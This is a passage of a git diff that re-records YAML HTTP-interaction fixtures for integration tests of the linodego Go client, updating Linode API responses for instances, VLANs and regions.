"1a12d3d7c0a6cee83c7699d2c92ade2ede5b8e67"}' + true, "available": false, "schedule": {"day": "Scheduling", "window": "Scheduling"}, + "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": + [], "host_uuid": "4ecff3e7ba293f448d05aad89062f4677f5065a3", "has_user_data": + false, "placement_group": null}' headers: Access-Control-Allow-Credentials: - "true" @@ -348,16 +621,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "705" + - "770" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:30:34 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -371,9 +647,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -389,18 +668,19 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/46938079 + url: https://api.linode.com/v4beta/linode/instances/59542266 method: GET response: - body: '{"id": 46938079, "label": "go-ins-test-list-1", "group": "", "status": + body: '{"id": 59542266, "label": "go-ins-test-list-1", "group": "", "status": "running", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "type": "g6-nanode-1", "ipv4": ["139.144.1.230"], "ipv6": "1234::5678/128", + "type": "g6-nanode-1", "ipv4": ["172.105.62.51"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": - false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": - null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": - "915afd6c961c0333afa335a52a655d656beae128"}' + true, "available": false, "schedule": {"day": "Scheduling", "window": "Scheduling"}, + "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": + [], "host_uuid": "2e178642a58dc717a260fc2f07a0f9ebec105e2b", "has_user_data": + false, "placement_group": null}' headers: Access-Control-Allow-Credentials: - "true" @@ -413,16 +693,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "706" + - "770" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:30:49 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -436,9 +719,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -460,7 +746,7 @@ interactions: method: GET response: body: '{"data": [{"region": "ap-west", "label": "go-vlan-test-list", "linodes": - [46938078, 46938079], "created": "2018-01-02T03:04:05"}], "page": 1, "pages": + [59542265, 59542266], "created": "2018-01-02T03:04:05"}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: @@ -474,16 +760,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "167" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:30:50 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -497,9 +786,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -515,7 +807,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/46938079 + url: https://api.linode.com/v4beta/linode/instances/59542266 method: DELETE response: body: '{}' @@ -531,15 +823,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:30:50 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -552,9 +848,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -570,7 +869,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/46938078 + url: https://api.linode.com/v4beta/linode/instances/59542265 method: DELETE response: body: '{}' @@ -586,15 +885,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:30:50 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -607,9 +910,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK diff --git a/test/integration/fixtures/TestVolume_Create.yaml b/test/integration/fixtures/TestVolume_Create.yaml index bb70e554a..d20e53798 100644 --- a/test/integration/fixtures/TestVolume_Create.yaml +++ b/test/integration/fixtures/TestVolume_Create.yaml @@ -14,56 +14,244 @@ interactions: url: https://api.linode.com/v4beta/regions method: GET response: - body: '{"data": [{"id": "ap-west", "country": "in", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "ca-central", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "ap-southeast", "country": "au", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "us-central", "country": "us", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "us-west", "country": "us", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5,173.230.147.5,173.230.155.5,173.255.212.5,173.255.219.5,173.255.241.5,173.255.243.5,173.255.244.5,74.207.241.5,74.207.242.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "us-southeast", "country": "us", "capabilities": ["Linodes", "NodeBalancers", + body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", + "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", + "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, + 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, + 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, + 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, + 172.105.11.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, + 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, + 172.105.161.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium + Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, + 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, + 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", + "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, + 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": + "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": + "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "us-east", "country": "us", "capabilities": ["Linodes", "NodeBalancers", + "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": + "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, + 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": + "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", - "Bare Metal", "Block Storage Migrations", "Managed Databases"], "status": "ok", - "resolvers": {"ipv4": "66.228.42.5,96.126.106.5,50.116.53.5,50.116.58.5,50.116.61.5,50.116.62.5,66.175.211.5,97.107.133.4,207.192.69.4,207.192.69.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "eu-west", "country": "uk", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5,176.58.107.5,176.58.116.5,176.58.121.5,151.236.220.5,212.71.252.5,212.71.253.5,109.74.192.20,109.74.193.20,109.74.194.20", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "ap-south", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, + 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": + "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, + 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": + "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", + "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, + 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, + 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, + 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, + 172.232.128.27", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, + 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, + 172.233.111.9", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, + 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": + "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", - "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "eu-central", "country": "de", "capabilities": ["Linodes", "NodeBalancers", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, + 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": + "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, + 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": + "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, + 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": + "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, + 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": + "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, + 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", + "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, + 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, + 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, + 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, + 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": + "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "ap-northeast", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}], - "page": 1, "pages": 1, "results": 11}' + "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": + "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, + 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, + 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, + 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": + "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, + 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 